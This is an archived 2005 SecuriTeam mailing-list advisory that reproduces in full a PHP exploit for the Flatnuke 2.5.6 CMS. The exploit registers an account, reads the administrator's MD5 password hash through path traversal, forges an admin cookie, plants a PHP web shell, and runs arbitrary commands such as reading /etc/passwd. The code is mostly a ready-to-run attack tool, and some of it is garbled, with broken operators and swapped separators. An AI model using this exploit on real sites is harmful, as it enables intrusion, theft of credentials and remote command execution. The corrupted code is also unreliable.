

[EXPL] Flatnuke Authentication Bypass (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00055.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 19 Dec 2005 10:21:14 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Flatnuke Authentication Bypass (Exploit)

SUMMARY

<<http://flatnuke.sourceforge.net/>> Flatnuke is "an open sourced CMS (Content Management System)". Flatnuke does not validate if the user that is trying to access the administration page is in fact an administrator, allowing normal users to gain access to the MD5 hashed password of the administrator as well as other users.

DETAILS

Vulnerable Systems:

* Flatnuke version 2.5.6

Exploit:

```
<?php
# ---flatnuke_256_xpl.php 4.32 10/12/2005
#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140)
#
# coded by rgod at http://rgod.altervista.org
```

[EXPL] Flatnuke Authentication Bypass (Exploit)

```
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256\_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explanation: if magic_quotes_gpc you can have any admin/user MD5
password
# hash, poc:
# http://\[target\]/\[path\]/?mod=read&id=../forum/users/\[adminname\].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5]([adminname].[MD5hash])
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
#
mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://\[target\]/\[path\]/forum/users/\[username\].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released
```

```
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
```

```
echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution
exploit ***
</title><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css"> body { background-color:#111111;
SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }
img
{ background-color: #FFFFFF !important} input { background-color: #303030
!important} option { background-color: #303030 !important} textarea
{ background-color: #303030 !important} input { color: #1CB081 !important}
```

[EXPL] Flatnuke Authentication Bypass (Exploit)

```
option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1
{font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:
0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} *
{font-style:
normal !important} *{text-decoration: none !important}
a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration:
underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-weight:bold; font-style: italic;}--</style></head><body><p
class="Stile6">
*** Flatnuke 2.5.6 remote commands execution exploit *** </p><p
class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target=" blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form
name="form1" method="post"
action=".strip_tags($SERVER[PHP_SELF])."><p><input
type="text" name="host"> <span class="Stile5">* hostname
(ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path
(ex:
/flatnuke/ or just / ) </span></p><p><input type="text" name="command">
<span
class="Stile5">* specify a command </span> </p> <p> <input type="text"
name="port"> <span class="Stile5">specify a port other than 80 ( default
value )</span> </p> <p> <input type="text" name="proxy"><span
class="Stile5">
send exploit through an HTTP proxy (ip:port) </span></p><p><input
type="submit"
name="Submit" value="go!"></p></form> </td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
```


[EXPL] Flatnuke Authentication Bypass (Exploit)

```
{
$parts=explode(':'.$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result=socket_connect($socket,$parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.")
".socket_strerror($result)."<br><br>";
}
else
{
echo "OK.<br><br>";
$html="";
socket_write($socket,$packet,strlen($packet));
echo "Reading response:<br>";
while ($out=socket_read($socket,2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);

}
}
}
function sendpacketii($packet)
{
global $proxy,$host,$port,$html,$proxy_regex;
if ($proxy=="")
{ $sock=fsockopen(gethostbyname($host),$port);
if (!$sock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c=preg_match($proxy_regex,$proxy);
if (!$c) { echo 'Not a valid proxy...';
die;
}
}
$parts=explode(':'.$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$sock=fsockopen($parts[0],$parts[1]);
if (!$sock) { echo 'No response from proxy...';
die;
}
}
}
fputs($sock,$packet);
if ($proxy=="")
{
$html="";
while (!feof($sock))

```

[EXPL] Flatnuke Authentication Bypass (Exploit)

```
{
$html.=fgets($sock);
}
}
else
{
$html="";
while ((!feof($sock)) or
(!pregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($sock,1);
}
}
fclose($sock);
echo nl2br(htmlentities($html));
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$ POST[host];$path=$ POST[path];
$port=$ POST[port];$command=$ POST[command];
$proxy=$ POST[proxy];
if (($host<>"") and ($path<>"") and ($command<>""))
{
$port=intval(trim($port));
if ($port=="") {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=="") {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n", "", $host);
$path=str_replace("\r\n", "", $path);

srand(make_seed());
$v = rand(1,9999);
$username="SUNTZU".$v;
echo '<br>Your username: '.htmlentities($username);

#STEP 1 -> Register...
$data="op=reg&nome=".$username;
$data."&regpass=jimihendrix";
$data."&reregpas=jimihendrix";
$data."&anag=jimihendrix";
$data."&email=fake@xxxxxxxxxxxxx";
$data."&homep=".urlencode('http://www.asite.com');
$data."&prof=PUNK";
$data."&prov=whereimfrom";
$data."&ava=clanbomber.png";
```

[EXPL] Flatnuke Authentication Bypass (Exploit)

```
$data."&url_avatar=":  
$data."&firma=":  
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n":  
$packet="Accept-Encoding: text/plain\r\n":  
$packet="Content-Type: application/x-www-form-urlencoded\r\n":  
$packet="Host: ".$host."\r\n":  
$packet="Content-Length: ".strlen($data)."\r\n":  
$packet="Connection: Close\r\n\r\n":  
$packet=$data:  
show($packet):  
sendpacketii($packet):
```

#STEP 2 -> Login... (you cannot see memberlist if you are not registered...)

```
$data="op=login&nome=".$username."&logpassword=jimihendrix":  
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n":  
$packet="Content-Type: application/x-www-form-urlencoded\r\n":  
$packet="Host: ".$host."\r\n":  
$packet="Content-Length: ".strlen($data)."\r\n":  
$packet="Connection: Close\r\n\r\n":  
$packet=$data:  
show($packet):  
sendpacketii($packet):  
$temp=explode("Set-Cookie: ", $html):  
$temp2=explode(' ', $temp[1]):  
$cookie=$temp2[0]:  
$temp2=explode(' ', $temp[2]):  
$cookie.=" " . $temp2[0]:  
echo '<br>Your cookie: '. htmlentities($cookie):
```

#STEP 3 -> Retrieve admin name from memberlist

```
for ($i=1; $i<=100; $i++)  
{  
$packet="GET ".$path."forum/index.php?op=members&page=".$i."  
HTTP/1.1\r\n":  
$packet="Host: ".$host."\r\n":  
$packet="Cookie: ".$cookie."\r\n":  
$packet="Connection: Close\r\n\r\n":  
show($packet):  
sendpacketii($packet):  
if (eregi('class=normal>10', $html)) { echo "trovato..." . $i; break; }  
}  
$temp=explode("class=normal>10", $html):  
$temp2=explode("user=", $temp[0]):  
$temp=explode(">", $temp2[count($temp2)-1]):  
$ADMIN=$temp[0]:  
echo '<br>Admin: '. htmlentities($ADMIN):
```

#STEP 4 -> Retrieve admin MD5 password hash...

```
$packet="GET ".$path."?mod=read&id=../forum/users/" . $ADMIN . ".php%00  
HTTP/1.1\r\n":
```

[EXPL] Flatnuke Authentication Bypass (Exploit)

```
$packet="Host: ".$host."\r\n";
$packet="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (!ereg("<?".$html)) {die("Exploit failed... it seems we have
magic quotes gpc on here...");}
$temp=explode("<?" .chr(0x0a)."#".$html);
$temp2=explode(chr(0x0a),$temp[1]);
$HASH=$temp2[0];
echo '<br>Admin md5 password hash: '.htmlentities($HASH);
# Now build new admin cookie...
$SECID=md5($ADMIN.$HASH);
$COOKIE="myforum=".$ADMIN."; secid=".$SECID."";
echo '<br>Now you have admin cookie: '.htmlentities($COOKIE);

#STEP 5 -> Edit some file... example: my profile :)
$COMPTEMP="<?\n#" . md5("jimihendrix").
"\n#jimihendrix\n#fake@xxxxxxxxxxxx\n#http://www.asite.com\n
$COMPTEMP.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n";
//assign level 10 to new user
//edit this, if system() is disabled you may try passtrhu(),exec() or
backticks...
//we also see phpinfo()
$SHELL=$COMPTEMP."<?php echo \"Hi
Master\";error_reporting(0);ini_set(\"max_execution_time\",0);phpinfo();
system($HTTP_GET_VARS[cmd]);?>";
$SHELL=urlencode($SHELL);
$data="mod=modcont&from=index.php&body=". $SHELL.
"&file=forum%2fusers%2f".$username.".php";
$packet="POST ".$path."verify.php HTTP/1.1\r\n";
$packet="Content-Type: application/x-www-form-urlencoded\r\n";
$packet="Host: ".$host."\r\n";
$packet="Content-Length: ".strlen($data)."\r\n";
$packet="Cookie: ".$COOKIE."\r\n";
$packet="Connection: Close\r\n\r\n";
$packet=$data;
show($packet);
sendpacketii($packet);

#STEP 6 -> Launch commands...
$packet="GET ".$path."forum/users/" . $username.
".php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet="Host: ".$host."\r\n";
$packet="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (ereg("Hi Master".$html)) {echo "Exploit succeeded...Also you can
login as admin with<br>";
echo "username: ".$username."<br>";
echo "password: jimihendrix<br>";
}
```

[EXPL] Flatnuke Authentication Bypass (Exploit)

```
else {echo "Exploit failed...";}
↓
else {echo "Fill * required fields, optionally specify a proxy..."; }

?>

# EoF
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:retrogod@xxxxxxxxxxxxxx>
rgod.

The original article can be found at:
<http://rgod.altervista.org/flatnuke256_xpl.html>
http://rgod.altervista.org/flatnuke256_xpl.html

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.



- Prev by Date: *[REVS] Database Servers on Windows XP – Unintended Consequences of Simple File Sharing*
- Next by Date: *[UNIX] Cerberus Helpdesk Vulnerabilities*
- Previous by thread: *[REVS] Database Servers on Windows XP – Unintended Consequences of Simple File Sharing*
- Next by thread: *[UNIX] Cerberus Helpdesk Vulnerabilities*
- Index(es):
 - ◆ *Date*
 - ◆ *Thread*